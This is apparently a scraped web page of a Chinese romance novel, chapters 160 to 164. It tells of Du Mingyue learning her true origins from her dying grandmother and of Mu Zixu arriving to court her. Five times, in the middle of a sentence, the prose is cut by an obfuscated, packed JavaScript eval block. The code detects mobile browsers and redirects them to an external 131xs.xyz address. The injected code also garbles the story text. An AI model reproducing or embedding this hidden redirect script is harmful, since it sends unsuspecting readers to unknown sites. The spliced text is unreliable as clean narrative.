“为什么?”杜明月不解地回头,看见外祖母眼底深藏的疲惫与决绝,心猛地一沉。 “我自己的身体什么情况我自己心里最清楚,这一年里,外祖母也花费了不少银钱,能用的药都用了,可是我这病是药石无医,我也就慢慢的看开了。” 老夫人拍了拍她的手,示意她坐下,“坐下,我唯一放心不下的就是你了,可惜我不能再多陪你几年。听我说,有些事,也该让你知道了。” 她的声音轻得像风中残烛,杜明月却听得字字清晰。窗外的蝉鸣不知何时歇了,屋里静得能听见彼此的呼吸声。 “以前你小的时候,你总说,想知道爹娘的事。”老夫人望着窗棂上的雕花,眼神飘得很远,“今日我便告诉你,你真正的身世。” 杜明月一愣,神色震惊,不敢置信的看着自己的外祖母,以为自己听错了。 但现实就是这么残酷,杜明月发现自己不仅没有听错,还将每一个字都听得清清楚楚。 “你母亲......其实,不是你亲娘。”外祖母看着杜明月叹息了一声,似乎在为她的身世感到惋惜。 “你是我女儿捡来的。那年她去京城探望亲戚,在城外的破庙里发现了襁褓中的你,怀里还揣着块暖玉,上面刻着个“明”字。” “她见你哭得可怜,又瞧着那玉不像凡物,知道你定是大户人家的孩子。可当时你襁褓里除了玉,连张字条都没有,她不忍心你流落街头受苦,便主动将你抱回了江南。” 杜明月怔怔地听着,脑子里一片空白。 原来那些模糊的、关于父母的记忆都是假的?原来她连自己是谁都不知道? “我女儿身子弱,那时带你回来之后,我怕她累着,想让丫鬟帮忙带你,但她不肯,说是不放心你。” 回忆起当年和女儿在一起的场景,杜明月明显的看到外祖母整个人都开心了一些,山里闪着光亮,嘴角噙着温柔的笑意。 “那时她整天说,要把你好好养胖,然后将你还给你的亲生父母。”外祖母认真道,“可是后来,养着养着,大概是从你记事时开始吧,她就再不提这话,只当自己就是你的亲生母亲。” 杜明月听了这话,心中一沉。 “她......找到我的亲生父母了吗?杜明月的声音干涩得像砂纸摩擦,“是他们说他们不要我了,母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244484|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才决定把我当自己的女儿留下养大吗?” “这个不清楚,但确实找过。”老夫人叹气,“你娘托人去京城打听,可那暖玉样式不同寻常,查了半年都没头绪。再后来,她也就干脆不找了。” 外祖母眼眶湿润的叹了口气道,“其实我是她母亲,她有什么想法,难道我能一点不知道吗,我想着,或许是她真的查到了点什么,但是又不想说,所以干脆不再提了。” 一想到自己的女儿那么的离开自己,外祖母那双浑浊的眼神中又写满了悲伤。 “月儿,你记着,无论你到底是谁的孩子,你永远都是我们杜家的孩子!”外祖母的一番话,说得杜明月红了眼眶,眼泪止不住的无息的落下来。 原来她从小到大感受到的疼爱并非源于血缘,却是隔着两代人的善意与守护。 她想起母亲临终前摸着她脸颊的温柔,想起外祖母总偷偷给她塞带她吃糖的模样,心口像是被泡在沸水里,又热烈又滚烫,让杜明月的眼泪汹涌而出。 “这些年我守着这个秘密,看着你长大、嫁人……”老夫人替她擦去眼泪,指尖冰凉,“我本想这辈子就这么瞒下去,可如今我这身子......” 她说着从一旁的柜子下摸出个小匣子,打开后里面躺着块温润的暖玉,正是老夫人说的那块。 玉上的“明”字被摩挲得光滑,透着岁月的痕迹。 “这是你的根。”老夫人将玉塞进她手里,“我知道你这次是受了伤回来的,一定恨段骆岐,恨京城的是是非非,可那里或许有你的亲人。” “我留不住你一辈子,总不能让你连自己是谁都不知道。”外祖母满脸不舍的道,“去京城找你的亲人吧。” 哭花了妆容的杜明月握着暖玉,冰凉的触感从掌心蔓延至全身。她看着外祖母灰败的脸色,突然用力将玉塞回匣子:“不,我不要!我不回去。” “外祖母,我哪儿也不去!”她目光坚定的扑通跪在床前。 第一百六十章我现在不能回去 杜明月紧紧抓住外祖母的手,“如果没有外祖母和母亲,我就死在破庙里了。” “是母亲和外祖母给了我第二次生命,你们才是我在这世界最重要的人!我亲生父母是谁,我不在乎! 她想起在段府的日子,想起那些勾心斗角的算计,心里更加焦躁不安,她好不容易才离开京城回来的啊,她多希望能一直陪在外祖母身边,可是老天怎么能和她开这么大的玩笑。” “可你……”外祖母还是有些犹豫,杜明月的眼泪更凶了,“外祖母,我现在只想守着您过日子。您别赶我走,求您了......” 老夫人看着她哭得通红的眼睛,泪水也忍不住落了下来。她反手握住杜明月的手,枯瘦的手指微微颤抖:“傻孩子,我不是要赶你走......” “我知道你重情义,可我这身子......”她咳了两声,帕子上又添了新的血迹,“我怕等我走了,你一个人在这世上孤零零的,连个撑腰的人都没有。那玉是你的念想,也是你的退路啊。” 杜明月摇摇头,坚定的对外祖母道,“外祖母,我现在只想陪着你,我可以答应你,以后一定去京城找我的家人,但不是现在!” 杜明月十分认真的道,“现在对我来说最重要的事,就是陪在外祖母身边,把日子过好。” “而且,您不用担心,咱们杜家的铺子和产业,我也都已经有能力管得井井有条,所以不需要担心任何其他的事情,您只要好好养病就行,什么烦心事都不想......” 老夫人看着她强装坚强的模样,心里又疼又暖。她轻轻拍了拍杜明月的手背:“好,外祖母听你的,咱们不分开,我好好治病。” “不过,这玉今天既然拿出来了,你得收着。”她把匣子重新塞给杜明月,“就当是外祖母给你的念想,好不好?” 杜明月犹豫了一下,终究还是接了过来。她将匣子贴身收好,像是捧着沉甸甸的承诺。 窗外的光线透过窗棂照进来,落在两人交握的手上。杜明月知道,无论未来如何,她都不会害怕,因为这一刻的温暖足以让她的内心永远都是发着光的。 接下来的日子,杜明月果然是寸步不离的守在外祖母的身边。 江南最好的大夫来看病,事杜明月亲自熬药喂饭,夜里就守在外祖母床边。 一连几日下来,红豆看着杜明月日渐消瘦的身影,几次想替她分担,都被杜明月拦下了。 这日,暮色漫进窗棂时,杜明月正给外祖母揉着肩。老人靠在软榻上,呼吸渐渐平稳,眼角的皱纹里淌着满足的暖意。 “外祖母,”杜明月的声音闷闷的,带着浓重的悔意,“当年若我听您的话,不去京城嫁那段骆岐,外祖母是不是也不会因为担心我而生病。” 她说话的时候,指尖的力道不自觉重了些,老夫人一脸怜惜,轻轻拍了拍她的手背:“胡说,我生病怎么会事因为你呢,你怎么突然说这个?” “当初我要嫁给段骆岐,您就不同意,后来,您是不是生我的气,所以生病的消息您瞒了我这么久?” 杜明月的眼眶红了,“若我一直在江南陪着您,我何至于此时才知道你的病情,您身边一个家人都没有,我这个做孙女的,实在不孝。” 她想起当年自己一门心思要嫁入侯府时的执拗,想起外祖母红着眼眶劝她“商户女在高门大院里难立足”,想起自己当时甩开她的手说“我偏要试试”。 那时的天真和傲气,如今想来只剩满心悔恨,是段骆岐让她失去了那样的初心,也失去了陪伴外祖母的机会,所以一想到这件事,杜明月心中久更加厌恶段骆岐。 老夫人叹了口气,转过身握住她的手:“傻孩子,哪有什么后悔不后悔的。” “你当年想嫁去京城,是盼着能得个真心待你的人,过安稳日子。这心思本身没错,我怎会怪你?”老人的指尖划过她的手背,带着岁月的温度,“我当时反对不是怕你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244485|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远嫁,只是觉得他那人有点不靠谱。” “至于,我那会儿不告诉你病情,是怕你在京城分心。你在段府本就不易,再为**心,岂不是更难?”外祖母眼神温和的看着杜明月微笑。 杜明月的眼泪掉了下来:“可您是我唯一的亲人啊,我应该早点回来的……” “正因为是亲人,才见不得你受委屈。”外祖母替她擦去眼泪。 “你刚嫁过去那两年,信里总说段骆岐待你好,说府里的日子安稳。我看着信就高兴,觉得我的月儿总算得偿所愿了,其实我内心也是高兴的,当然希望自己当年只是看错了人,可没想到……” 她顿了顿,眼神里泛起心疼:“后来你几乎很少有信,再来信,也都说是你过得很好,让我不要担心,可没想到你去年一年,竟然整整一年没给我来信,我就觉得不对劲了。” “等再得到你的消息,就是你已经和段骆岐和离了。要是我早知道他对你不好,一定让你早点回来!” “现在你回来了,带着一身轻快,眼里的光都亮了。” 老夫人笑起来,眼角的皱纹挤成温柔的褶皱,“这就比什么都好。我虽没问过你在京城的事,但看你如今能安心打理铺子,能陪着我说话,就知道你是想通了,已经完全不会为过去的事再感到难过了。” “外祖母……”杜明月哽咽着说不出话。 “人这一辈子,哪能步步都走对?”老夫人拍了拍她的手背,“错了就错了,改过来便是。不对的婚姻也一样,舍弃就是了,你当初敢嫁去京城,是勇气;如今敢离开段府回江南,更是勇气。” 她望着窗外渐浓的暮色,语气里满是期许:“往后啊,你就继续这样随心所欲又快乐的活着,就照着自己的心走。喜欢什么,就去追,不喜欢什么,便丢掉。别委屈自己,更别辜负了自己。” “外祖母……”内心感动的杜明月望着外祖母温和的眉眼,心里的悔恨渐渐被暖意取代。 第一百六十一章 京城来信 杜明月吸了吸鼻子,用力点头:“嗯,我听您的。” 说着,她轻轻的走到外祖母跟前,依恋的将脑袋乖巧的靠在她的身上,外祖母眉眼温柔的摸了摸她的头发,一时之间岁月静好。 是啊,过往的对错早已成定局,与其沉溺悔恨,不如珍惜眼前的日子。 窗外的月光悄悄爬上来,落在互相依偎的祖孙俩身上,显得静谧又温馨。 这日清晨,杜明月刚喂外祖母喝了药,端着汤碗出来,就看到红豆突然急匆匆跑进来。 她的手里还拿着封信:“主子,京城来的信,说是慕公子寄来的。” 杜明月的心猛地一跳,接过信时指尖微微发颤。 她已经阔别京城好几个月了,以为慕子叙早就已经忘了她了,却没想到竟然会收到她的来信。 而且她一想到临行前,她头脑一热,约了慕子叙说了那样一番出格的话,脸上顿时变得滚烫。 她现在只有一个想法,如果时光能够倒流,她一定要克制住自己当时说出内心想法的冲动。 因为她发现,自从她回到江南以后,虽然她也会偶尔想起慕子叙,怀念那些两人谈笑风生的模样,但她也并没有觉得那种感觉多么煎熬。 杜明月觉得正因为这种感觉不够浓烈,有些细水长流,她才相信随着时间的冲刷,她一定可以完全忘记心中曾出现过的悸动,让一切都回归平淡,好像慕子叙从未在自己生命中出现过一样。 但现在慕子叙亲笔信件的突然出现,似乎一下子在她心中那平静的湖面上扔下一块石子,激起涟漪。 杜明月手指紧紧的捏着信,有那么一瞬间,她竟然不敢打开,那种感觉就好像是,她生怕自己多看一眼,那几乎要被她抚平的心湖不仅会泛起涟漪,甚至会掀起巨浪。 杜明月甚至不知道她是怎么回到屋子里的,也因为情绪太过激动,竟然没有注意到,慕子叙竟然会知道她在江南的住处。 屋内杜明月有些紧张的打开信件,目光飞快的从头看到尾,好在也没有什么特别的内容,多是一些问候,以及讲述了他的一些近况,并询问自己过得如何。 看完这信,杜明月心底暗暗松了口气,却又意外的有些失落,她轻轻的用手捶了一下自己的脑袋,苦笑道,“在想什么呢!” 江南的秋日总带着三分缠绵的雨意。 杜明月扶着外祖母站在廊下看雨,老夫人裹着厚厚的锦缎披风,脸色虽仍苍白,眼底却有了些往日的神采。 这三个月来,靠着名贵药材吊着性命,又有杜明月日夜悉心照料,老夫人的病竟真的稳住了些,现在咳嗽的也不像之前那么频繁和厉害了。 “你看那株木芙蓉,今年开得比往年都好。”老夫人指着院角那丛粉白相间的花,语气里带着笑意,“一定是知道我的乖外孙女回来了,替我高兴。” 杜明月顺着她的目光望去,雨后的花瓣上沾着晶莹的水珠,倒真有几分动人。 她替外祖母拢了拢披风,“等天晴了,我摘几枝给您插瓶。” “行,对了,我有点想吃**的梅菜扣肉了。”老夫人拍了拍她的手,“那味道,你外祖母我小的时候就一直吃,让府里下人去买点回来吧。” 杜明月笑着应下,心里不放心别人去,立马将红豆叫了来,“去**酒楼买梅菜扣肉,再买些其他的招牌菜回来,对了还有外祖母喜欢的桂花酥也带些回来。” 红豆急忙应声去了,很快红豆拎着食盒,手里还捏着封信从外面回来了。 红豆先是将食盒小心的放在饭桌上,立马有丫鬟上来摆饭,而红豆则脸上带着几分古怪又开心的神色悄悄靠近杜明月,“小姐,慕公子又寄信来了。” “慕公子,又?”杜明月正在给外祖母读话本,闻言手猛地一顿,话本差点掉在地上。 她这点细微的变化,自然没有躲得过外祖母的眼睛。 “是谁的信?瞧你这模样。”老夫人打趣道。 杜明月脸颊微红,将信往袖中藏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244486|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏,“没什么,以前在京城认识的一位朋友。” 老夫人却只是微笑着看她,也不追问,但眼底却是一片了然。 “你去忙吧。”老夫人微微一笑,杜明月抿唇想走又不好直接走,就找了个借口回到自己房里。 她关上门才拆开信封,不知为何,这次接到信,竟然比上次还要紧张。 信纸展开,熟悉的字迹映入眼帘,却让她瞬间屏住了呼吸。 “明月亲启:一别数月,在江南可安好?京中诸事已了,上次临别你与我说所的那些,让我幡然醒悟,已与宇阳公主斩断过往,从此以后,宇阳公主与我再屋半点瓜葛。 先父旧案终得**,洗刷冤屈,我亦不再是南风馆中拂星公子。我得圣上垂怜,已恢复以往身份,但我已无心朝堂之争,自请辞去少将军一职,只愿做个天地为家的闲散之人。 吾曾言江南水暖,盼与君同游,非是戏言。自茶楼一别,日夜思之,方知早已情根深种。世人皆道我清冷淡漠,唯有面对你时,才知何为心动。 不知能否有幸,赴江南一晤?若你愿意,三日后巳时,我在城西的烟雨园等候。 慕子叙敬上” 杜明月反复读了三遍,指尖几乎要将信纸戳破。他说他与宇阳公主分开了?说父亲的案子**了?说他喜欢自己? 杜明月的心头像是有无数只小鹿在乱撞,又惊又喜,还有几分难以置信。 她想起茶楼里自己那几句仓促的告白,想起他当时沉默的模样,原来那时他并非无意,只是时机未到。 此刻杜明月突然注意到了那个一直被她忽略的事情,他怎么会如此准确的知道自己在江南的住处? 明明她离开京城时,并未告知她,而且江南这么大,又不止一个杜家,他竟真的能寻了来? 想来,也一定是打听了不少人,废了不少事吧。 一想到慕子叙为了找到自己,在她看不见的地方如此大费周章,她的心跳就跳得更快了。 第一百六十二章 烟雨园赏菊 杜明月正怔忡间,窗外传来红豆的声音,“主子,老夫人说想喝你煮的莲子羹。” 杜明月慌忙将信纸折好藏进妆奁深处,深吸一口气才推门出去。走到厨房时,脸上的红晕仍未褪去,被红豆看了个正着。 “主子,你脸怎么这么红”红豆好奇地问,“是不是因为慕公子的那封信......” “别瞎猜。”杜明月嗔了她一句,拿起莲子开始清洗,心里却乱糟糟的。 去还是不去? 她想见他,从离开京城的那一刻起就想见。可真当他要来了,却又生出几分胆怯。 他是慕家公子,虽曾蒙冤,如今**昭雪,身份尊贵;而她是个自请下堂的前侯府夫人,现在连自己的身世都成了谜,他们之间,真的有可能吗? 这念头扰得她心神不宁,连莲子羹都差点煮糊了。 接下来的两天,杜明月表面上依旧陪着外祖母说话解闷,打理铺子生意,心里却像揣了个滚烫的石头,坐立难安。 直到第三日清晨,老夫人提议想出去走走,杜明月也不知道怎么了,突然鬼使神差的开口道,“外祖母,城西烟雨园现在的菊花开得正艳,要不要去看看。” 这句话一说,杜明月又有些后悔了。 城西的烟雨园,不正是慕子叙信中说的地方,难道自己心中果然下意识是想去的。 或许是她语气中透露出了一抹急切,让老夫人听出了几分不寻常的意味,她若有所思后,点点头道,“好,那就去烟雨园转转吧。” 杜明月一愣,强装镇定地问,“外祖母真的要去吗?” “嗯,前几日听出府办事的张嬷嬷说,那里的菊花展办得热闹,我今儿也去瞧瞧热闹吧。你会跟我一起去的吧?”老夫人笑着道,“你要是忙,或者有别的事情,红豆陪我去也行。” “不忙,我陪您去。”杜明月几乎是脱口而出,说完又有些后悔。 原来,她终究还是想见他的,哪怕只是远远看一眼。 烟雨园果然热闹,各色菊花争奇斗艳,游人如织。杜明月扶着外祖母慢慢走着,目光却不受控制地在人群中逡巡,心里既期待又紧张。 “这里人多,咱们去那边的亭子里歇歇脚。”老夫人指了指不远处的六角亭。 杜明月依言扶着她往亭子走去,刚走到亭外,就听见一阵熟悉的笑声。她猛地抬头,心跳瞬间漏了一拍。 亭子里站着的男子一袭青衫,身姿挺拔,正低头听身边的老者说话,嘴角噙着温润的笑意。 那不是慕子叙是谁? 不远处的似乎察觉到了什么,猛地转过头来。四目相对的瞬间,时间仿佛静止了。 慕子叙显然也没想到会在这个时辰,在这里遇见她,眼中闪过一丝惊讶,随即是难以掩饰的欣喜。 他快步走出亭子,目光紧紧锁着她,像是怕她跑掉一般。 “明......”他声音有些沙哑,下意识的就叫出了心中一直所想的那个名字,可是当话一出口,便立马察觉到了不妥,急忙改口道,“杜小姐!” 杜明月的脸颊瞬间红透,下意识地想躲到外祖母身后,却被身边老人握住双手,不让她后退。 “这位公子是?”老夫人笑眯眯地问,眼神里带着了然。 “晚辈慕子叙,见过老夫人。”慕子叙拱手行礼,举止得体,“在下曾与杜小姐在京城相识。有些交情。” “原来是慕公子,快请坐。”老夫人热情地邀请他进亭子里一起坐,不知为何,她就是打从第一眼就很喜欢这位慕公子,而且总觉得好像在哪里见过一样。 杜明月站在原地,手脚都有些僵硬,但下一瞬看到自己的外祖母竟然和慕子叙相谈甚欢,好像很喜欢的模样,又有些无奈的笑了笑,心里也轻松了不少。 不知为何,就在那一瞬间,杜明月竟然恍惚看到了段骆岐第一次见到她外祖母时的模样,那时她外祖母可是皱着眉头一脸不高兴的。 “我......”杜明月张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244487|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了张嘴,却不知道该说什么,想了想,还是朝着两人走了过去。 慕子叙看着她窘迫的模样,眼底的笑意更深了些,他抬头对着她道,“我昨日便到了江南,想着烟雨园风景好,便过来看看,没想到这么巧,竟然会在这里碰到。” 杜明月见他半句不提信的事情,也不知道他这话到底几分真,几分假,就故意皱着眉头,不满的瞪了他一眼。 却不想慕子叙看了不仅不生气,反而更加开心了。 慕子叙觉得他好像又和杜明月亲近了几分,心里有些好笑的想着,这也不枉费他的一番苦心,硬着头皮承认自己和宇阳公主那莫须有的关系,再硬着头皮解释他们已经断绝关系了。 慕子叙心中暗暗开心,还好这一次他选对了,既然别人无法守护杜明月,给她幸福,那他这次要自己来,绝不会轻易放手。 两人对视,眼神交流,气氛暧昧中又带着几分尴尬,此时老夫人的一句话,却打破了这气氛。 “慕公子远道而来,一路辛苦了。”老夫人笑着说,“我这孙女脸皮薄,让你见笑了。” “外祖母。”杜明月的脸更红了,有些急了,不知道是不是她的错觉,怎么总感觉自己外祖母这像是在把自己往外推呢。 如果说现在只是怀疑,那么接下来外祖母的一番话,几乎可以验证她的想法了。 “慕公子一看就是身份高贵之人,在外下榻客栈住的还习惯吗?要是在外头住的不舒服,要不来我们杜家住下把吧,我们杜家屋子多的是,慕公子想住到什么时候,就住到什么时候!” 外祖母说完这话,自己开心得很,完全不顾杜明月羞红的脸色。 慕子叙一愣,但又像是很快明白了什么,立马丝毫不带犹豫的道,“好,那就多谢老夫人的盛情邀请,却之不恭,叨扰了。” “没事,没事。”老夫人乐不可支的道,“慕公子是第一次到江南来吗,要是第一次,人生路不熟的,我让我乖外孙女多陪你逛逛!” 第一百六十三章 落脚杜府 “外祖母!”杜明月几乎要被气的跳脚,她压低声音道,“他一个外男,住进杜府算怎么回事,再说了,我平日还得陪着您,没有时间陪其他人去闲逛。” 慕子叙闻言,便故意露出失望和沮丧的模样,在一旁看着的红豆都要忍不住笑了,此刻的他哪里还有当初一点别人眼中清冷的模样,在自家主子面前,完全就像变了一个人。 红豆也和杜老夫人一样,早就看出了两人之间的端倪,所以此刻也是很乐见其成。 杜老夫人见杜明月说了那么多推脱的话,却不肯依,转头故作生气道,“你这丫头是怎么回事,杜家屋舍那么多,平日往来,亲戚外男也常有宿在家中厢房的,怎么就不能留慕公子住下了。” “还有,我喜欢和慕公子聊天,难道你不希望看到外祖母开心吗?”杜老夫人一句接一句的,说的杜明月哑口无言,“平日里你还是可以陪我啊,不仅你能陪我,你们可以一起陪我啊。” “但毕竟外祖母年纪大了,精力跟不上,时长也会觉得困顿,常卧床休息的时间也多,那些时间,你们年轻人不赶紧出去逛逛,难道还真的打算要陪我呆在府里一辈子啊。” 杜老夫人看着杜明月被自己说的一句话都说不上来的模样,心情大好,立马转头就对慕子叙道,“慕公子方便的话,明日随时都可以搬进来,今日我回去便让人把屋子收拾出来。” “那就恭敬不如从命了。”慕子叙立马就将话接上了,速度快的就好像在担心,不立马答应,对方就会立刻反悔似的。 慕子叙不仅答应的快,搬家的动作也很快。 第二日清晨,杜明月正陪着外祖母在院中晒太阳,就见红豆和慕子叙一前一后走了进来。 他今日换了件月白色的长衫,腰间系着块玉佩,晨光落在他身上,竟奇怪的没有了之前清冷孤傲的感觉,反而多了一种说不出的温润雅致,让人想要靠近。 杜明月站在原地,看到他先是给自己的外祖母递上礼物,道谢之后,立马便动作迅速的让人将他的行李都搬进了收拾好的东厢房。 “外祖母,你怎么让他住这儿了?”杜明月看着慕子叙在东厢房门口,进进出出的忙碌着,他让人送进来的不仅有铺盖,还有其他不少的大件东西,看的杜明月都有些目瞪口呆。 甚至红豆都看出了一丝不对劲,偷偷靠近杜明月问道,“主子,慕公子这到底是要落脚小住啊,还是打算在这里常驻啊。” 杜明月刚想说什么,便对上了外祖母那双满含笑意,却又像是看透了一切的那双眸子,立马凶巴巴的瞪了一眼红豆道,“闭嘴。” 杜老夫人此时才悠悠的开口道,“住这里多好,距离你的院子也近,你们平时若是下个棋,喝个茶什么的,也很方便。” 杜明月无奈,她算是明白了,自己的外祖母早铁了心的倒戈了,她也只能接受这个现实了。 就这样,慕子叙住进了杜家。 起初杜明月还有些不自在,总觉得家里多了个外男,处处都要避嫌。 毕竟,她和慕子叙虽然都对彼此有过表白,但自两人在江南相遇以后,却还都未将话说开。 如此一来,总觉得两人关系像是隔着一层纱,内心始终忐忑不敢轻易揭开,见面又会觉得紧张尴尬,她几乎每天都能感受到她的心脏因两人相遇时的暧昧气氛而剧烈跳动。 可日子一长,她也渐渐习惯了在府里时不时就会碰见他的日子,甚至想想都觉得安心。 而且最重要的是,慕子叙自从住进来后,从不逾矩,甚至还主动帮杜明月承担起照顾杜老夫人的责任。 杜老夫人以前就常说杜明月喜欢睡懒觉,现在为了照顾自己,每日都要很早起来,人睡不好吃不好都瘦了,她心疼却阻止不了杜明月的坚持。 但自从慕子叙每日清晨陪伴杜老夫人在园中散步,陪她说话解闷后,杜明月睡不饱觉的难题也就迎刃而解了。 慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244488|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子叙不仅让杜明月清晨可以有更多的时间休息,甚至午后也会创造条件,主动帮杜明月处理一些铺子那边传来的琐碎不重要的消息,让杜明月多休息好好将养自己的身子。 日子就这么一直持续了差不多半个月左右,好不容易将自己身体养回来的杜明月,终于在一个大清早醒来后,猛地从自己的床上坐起来,想去看看今日慕子叙又陪外祖母去哪些地方遛弯了。 结果,让她意外的是,今日慕子叙和外祖母并没有在后花园遛弯,她询问过后,才知道,原来是因为今日慕子叙说雾气太重,对外祖母的身体不好,不如在屋里呆着更好一些。 杜明月听着这些忍不住感叹道,“慕公子果然好细心,竟然连这种小细节都注意到了。” 红豆急忙点头道,“是的,老夫人也说这几日多亏有慕公子在,她开心了不少,而主子你也有时间好好休息了,这些都是慕公子的功劳。” 杜明月听了这话,忍不住笑了,看来外祖母真是认定了慕子叙啊,才会如此不吝啬赞誉。 “那慕公子现在哪里?”杜明月问道。 “书房。”红豆立马道。 杜明月内心不免触动,突然觉得,她怎么回到了江南水乡以后,就好像是小乌龟缩在了壳里,竟然没有了那种在京城的冲劲。 杜明月认真反思后,觉得慕子叙这次已经向她走了这么多步,她也应该要勇敢的迈出一步才行。 想到这里,她立马又变得内心雀跃了起来,竟然对接下来的见面多了几分紧张和忐忑。 书房中,慕子叙正在绘制一幅山水画,旁边是他新沏的茶。 当他听到房门被推开时,便急忙抬头,确定来人真是杜明月时,更是开心的立马放下毛笔朝着她走过来。 “尝尝我新沏的茶。”慕子叙见杜明月这几日总躲着他走,内心还有点沮丧,现在看到她突然主动来找自己,难免会喜形于色,完全不见往日半点清冷的模样。 第一百六十四章 采莲遇雨 杜明月端起茶碗喝了一口,清甜的茶香在口中蔓延开来,心里的忐忑不安也消散了不少。 她抬头看向慕子叙,正好对上他温柔的目光,两人都愣了一下,随即又慌忙移开视线。 书房里静悄悄的,只有窗外的蝉鸣和两人略显急促的呼吸声。一种微妙的气氛在空气中弥漫开来,带着淡淡的暧昧。 杜明月的脸颊瞬间红了,心跳也不由得加快。她能感觉到慕子叙的目光落在自己身上,带着灼热的温度,让她有些不知所措。 但一想到自己来之前下的决心,便还是开口道,“你住进来也有一段日子了,我看你也很少出府去四周逛逛,你要是实在不熟悉周围的话,要不要我带你去看看?” 慕子叙听到这话也是一愣,就连泡茶的动作都顿了,内心也开始小鹿乱撞了起来。 所以杜明月的意思,是自己想的那样吗? 慕子叙几乎是不假思索的,立马开口答应了下来,像是生怕她反悔一样。 “那,择日不如撞日,要不就今天吧。”慕子叙像是生怕机会从自己手边溜走一样,急忙道,“正好今日的天气,不适合杜老夫人外出或活动,只能呆在屋里,你与我可以趁此机会。” “嗯。”杜明月也正有此意,她正要答应,却见红豆从外面跑了进来,嘴里嚷嚷着:“主子,刚才老夫人让丫鬟来找了,说想吃你做的莲子羹。” 杜明月一愣,下意识回想起做莲子羹的材料道,“府里现成的莲子已经用完了,要再去买一些,红豆,你去……” “不,你别去,我去吧。”杜明月像是又想起了什么,立马改口道,“你去告诉外祖母,我今天给她做最新鲜的莲子汤,不过就是可能要等的晚一点。” 红豆似懂非懂的点着头,就看到杜明月立马朝外面走了出去,而慕子叙竟然也一声不吭的跟了上去。 红豆回忆着两人从自己眼前离开时,脸上好像都有可以的红晕,嘴角都在努力克制不让它上扬。 “他们果然不对劲,一定是有什么事情瞒着我。”红豆挑眉,立马笑道,“不过还能是什么事,当然是谈情说爱的事了,我还是去给老夫人回话吧。” 城外野荷塘。 江南的天气总带着黏腻的湿热,清晨的露水还没散尽。 此刻。杜明月正提着竹篮站在野荷塘边上,她的旁边站着的,正是慕子叙。 “我问过这附近的人,他们说城西这片野荷塘的莲子是最饱满的。” 他走到她身边,目光落在她挽起的袖口上,“你动作不方便,还是我来吧,而且我刚备了船,咱们划船去更方便些。” 杜明月低头看了看自己手里的竹篮,忽然觉得有些莽撞。她原想沿着塘埂摘些靠边的莲子,倒没想到他在这么短的时间里,竟然连船都准备好了。 正怔忡间,手腕忽然被他轻轻握住,他的掌心带着温润,和预想中的一样让人安心和快乐。 “走吧,早去早回,免得日头毒了。”他的声音混着晨露的清润,像浸了蜜的枇杷水,让杜明月有些沉迷。 城西的荷塘因为水深,所以人少,大片碧绿的荷叶挨挨挤挤铺在水面上,粉白的荷花躲在叶间,风一吹就晃出细碎的香。 慕子叙将小船划到荷塘深处,竹篙轻点水面,荡开一圈圈涟漪。 “你坐着就好,我来摘。”他卷起袖子,露出线条利落的小臂,伸手便够到离船最近的一朵莲蓬。 莲子饱满得快要撑破绿衣,他剥了一颗递到她嘴边,“尝尝?” 杜明月下意识地张口接住,清甜的汁水在舌尖炸开,带着微微的涩。 她正要说话,却见他指尖还沾着莲心的淡绿汁液,便从袖中掏出手帕递过去:“擦一擦吧。” 